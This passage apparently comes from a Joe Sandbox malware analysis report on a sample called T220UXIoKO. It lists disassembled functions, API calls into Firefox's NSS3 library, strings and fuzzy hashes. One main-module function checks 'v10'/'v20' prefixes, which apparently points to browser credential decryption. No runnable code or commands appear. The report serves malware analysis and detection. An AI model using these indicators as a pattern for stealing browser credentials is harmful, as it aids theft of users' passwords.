sqlite3_value_blob.NSS3(?,?), ref: 6C7D7010
sqlite3_value_blob.NSS3(?,?), ref: 6C7D701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C7D7052

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 5e1009d020f1d06e7fcfbfa73cc86dd41f6491fb2ff00d7eea9c5856f97294bc
Instruction ID: 07d968e725efddd81a5c516a53f035088b6e3c7afb4a786793adf092c424f02f
Opcode Fuzzy Hash: 5e1009d020f1d06e7fcfbfa73cc86dd41f6491fb2ff00d7eea9c5856f97294bc
Instruction Fuzzy Hash: C36108B1E146068FDB00CFA8CA447EEB7B2AF85308F2A4575D414AB795E732BD05CB91

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

v10, xrefs: 00409EA3
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
v20, xrefs: 00409E21
@, xrefs: 00409EF1

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: 191b2616e1fb3493a53b7252654be595687e3ce1a8345bb1b47cea2af286b9d8
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: 191b2616e1fb3493a53b7252654be595687e3ce1a8345bb1b47cea2af286b9d8
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 6C848F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C847313), ref: 6C848FBB

Part of subcall function 6C8407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7E8298,?,?,?,6C7DFCE5,?), ref: 6C8407BF
Part of subcall function 6C8407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8407E6
Part of subcall function 6C8407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C84081B
Part of subcall function 6C8407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C840825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C847313), ref: 6C849012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C847313), ref: 6C84903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C847313), ref: 6C84909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C847313), ref: 6C8490DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C847313), ref: 6C8490F1

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C847313), ref: 6C84906B

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C847313), ref: 6C849128

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 9ac43ade6cd0402ead119b9e9b52a46cc5ee16094e9fb2b2a8a22eb3283f46d8
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3951B271A002098FEB30DF6ADF44B26B3F9AF54319F158869D919D7B61E735E800CB91

Function 6C804E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C804E90
EnterCriticalSection.KERNEL32 ref: 6C804EA9
TlsGetValue.KERNEL32 ref: 6C804EC6
EnterCriticalSection.KERNEL32 ref: 6C804EDF
PL_HashTableLookup.NSS3 ref: 6C804EF8
PR_Unlock.NSS3 ref: 6C804F05
PR_Now.NSS3 ref: 6C804F13
PR_Unlock.NSS3 ref: 6C804F3A

Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07AD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07CD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07D6
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C76204A), ref: 6C7D07E4
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,6C76204A), ref: 6C7D0864
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7D0880
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C76204A), ref: 6C7D08CB
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08D7
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08FB

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 12f99ffff6e7bf518e9f262e8195f6deb7a908cc70458d336806f307e55956ef
Instruction ID: 71d613df5daa4543d9dd707b28105c6dfde7cfe7680e2186e05f24e071c4c214
Opcode Fuzzy Hash: 12f99ffff6e7bf518e9f262e8195f6deb7a908cc70458d336806f307e55956ef
Instruction Fuzzy Hash: FC413DB4A046059FCB10EF78C58486ABBF0FF89354F118A69DC599B711EB30E895CB91

Function 6C764F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C764FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7651BB

Strings

misuse, xrefs: 6C7651AF
unable to delete/modify user-function due to active statements, xrefs: 6C7651DF
%s at line %d of [%.10s], xrefs: 6C7651B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7651A5

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: ac078b72d5323d3c34ada47dd5bc18160ece4890c5a078ccf9ea39ae2fd7d533
Instruction ID: 63a75569d85ced66c77ee19794229fe4e3238b5762aa8a7879a41a6888a96122
Opcode Fuzzy Hash: ac078b72d5323d3c34ada47dd5bc18160ece4890c5a078ccf9ea39ae2fd7d533
Instruction Fuzzy Hash: 5A71BFB160420A9FDB04CE26EE80B9A77B5BF48348F084534FD199BE82D335EC50DBA1

Function 6C7D2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C7D2D69

Strings

winTruncate2, xrefs: 6C7D2EF8
winSeekFile, xrefs: 6C7D2E9C
winTruncate1, xrefs: 6C7D2EBE
winUnmapfile1, xrefs: 6C7D2F55
winUnmapfile2, xrefs: 6C7D2F7F

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 7e1c934ba30bacdc65d9447ccf29569cffa1e136e04072a76c3cf2a33d586183
Instruction ID: a559a1a941c4b5040f805d7e38df9efb5125cd46add2adbcc2f30fd18a2e653c
Opcode Fuzzy Hash: 7e1c934ba30bacdc65d9447ccf29569cffa1e136e04072a76c3cf2a33d586183
Instruction Fuzzy Hash: C961AF71B042059FDB14DF68DD88AAA77B1FF49318F208538E919AB790DB31AD06CB91

Function 6C82AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C82AB3E,?,?,?), ref: 6C82AC35

Part of subcall function 6C80CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C80CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C82AB3E,?,?,?), ref: 6C82AC55

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C82AB3E,?,?), ref: 6C82AC70

Part of subcall function 6C80E300: TlsGetValue.KERNEL32 ref: 6C80E33C
Part of subcall function 6C80E300: EnterCriticalSection.KERNEL32(?), ref: 6C80E350
Part of subcall function 6C80E300: PR_Unlock.NSS3(?), ref: 6C80E5BC
Part of subcall function 6C80E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C80E5CA
Part of subcall function 6C80E300: TlsGetValue.KERNEL32 ref: 6C80E5F2
Part of subcall function 6C80E300: EnterCriticalSection.KERNEL32(?), ref: 6C80E606
Part of subcall function 6C80E300: PORT_Alloc_Util.NSS3(?), ref: 6C80E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C82AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C82AB3E), ref: 6C82ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C82AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C82AD2B

Part of subcall function 6C80F360: TlsGetValue.KERNEL32(00000000,?,6C82A904,?), ref: 6C80F38B
Part of subcall function 6C80F360: EnterCriticalSection.KERNEL32(?,?,?,6C82A904,?), ref: 6C80F3A0
Part of subcall function 6C80F360: PR_Unlock.NSS3(?,?,?,?,6C82A904,?), ref: 6C80F3D3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 21cd3225ee4b429ad7b39e005b7515815e212b790adbf2fab41b87847b95e6b8
Instruction ID: 600fc7202fcd979002753e0df87ce0e0dcd6225e5475df69df422d97f63948d5
Opcode Fuzzy Hash: 21cd3225ee4b429ad7b39e005b7515815e212b790adbf2fab41b87847b95e6b8
Instruction Fuzzy Hash: F3315BB1E006095FEB248F69CD449EF77B6EF84328B198939E81497740EB34DC4587E1

Function 6C808C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C808C7C

Part of subcall function 6C8A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8F0A27), ref: 6C8A9DC6
Part of subcall function 6C8A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8F0A27), ref: 6C8A9DD1
Part of subcall function 6C8A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C8A9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C808CB0
TlsGetValue.KERNEL32 ref: 6C808CD1
EnterCriticalSection.KERNEL32(?), ref: 6C808CE5
PR_Unlock.NSS3(?), ref: 6C808D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C808D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C808D93

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 5f335c81d4a51c05bdcfac11ac2cf1039ecbc526eca639d05a57ad17336f57ca
Instruction ID: ab89a388c26be4de3a5ad850ba7abf2e81712139870ffae3775b1f5e3c450210
Opcode Fuzzy Hash: 5f335c81d4a51c05bdcfac11ac2cf1039ecbc526eca639d05a57ad17336f57ca
Instruction Fuzzy Hash: DA316C71B01205AFE7209F68DE4479A77B0BF15319F240A36EE1957B90D730A9A4C7C1

Function 6C802E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C7FE728,?,00000038,?,?,00000000), ref: 6C802E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C802E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C802E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C802E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C802E9E
PR_Unlock.NSS3(?), ref: 6C802EAB
PR_Unlock.NSS3(?), ref: 6C802F0D

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 63ac9c5276cdbe746f3673b3d1b067b048839518a486bff184881190d48cc229
Instruction ID: 205e6de38e393a572fe674870fd24319a0cf0136d43eaac15d4953428c9791e4
Opcode Fuzzy Hash: 63ac9c5276cdbe746f3673b3d1b067b048839518a486bff184881190d48cc229
Instruction Fuzzy Hash: 9C31F6B6B005059BEB20AF28DD8887AB775EF45298F148675EC1887B11E731EC64C7E1

Function 6C84CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C84CD93,?), ref: 6C84CEEE

Part of subcall function 6C8414C0: TlsGetValue.KERNEL32 ref: 6C8414E0
Part of subcall function 6C8414C0: EnterCriticalSection.KERNEL32 ref: 6C8414F5
Part of subcall function 6C8414C0: PR_Unlock.NSS3 ref: 6C84150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C84CD93,?), ref: 6C84CEFC

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C84CD93,?), ref: 6C84CF0B

Part of subcall function 6C840840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C8408B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C84CD93,?), ref: 6C84CF1D

Part of subcall function 6C83FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C838D2D,?,00000000,?), ref: 6C83FB85
Part of subcall function 6C83FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C83FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C84CD93,?), ref: 6C84CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C84CD93,?), ref: 6C84CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C84CD93,?,?,?,?,?,?,?,?,?,?,?,6C84CD93,?), ref: 6C84CF78

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5ac13971caf08c9985989db0761e7998135eedcbe91549d75ed1bcab8a818b86
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: EE11E7B1E002085BE720AB6A7E41B6B75EC9F5414DF008839EC09D7B42FBA5D91C86F1

Function 6C7F8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7F8C1B
EnterCriticalSection.KERNEL32 ref: 6C7F8C34
PL_ArenaAllocate.NSS3 ref: 6C7F8C65
PR_Unlock.NSS3 ref: 6C7F8C9C
PR_Unlock.NSS3 ref: 6C7F8CB6

Part of subcall function 6C88DD70: TlsGetValue.KERNEL32 ref: 6C88DD8C
Part of subcall function 6C88DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C88DDB4

Strings

KRAM, xrefs: 6C7F8C8F

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
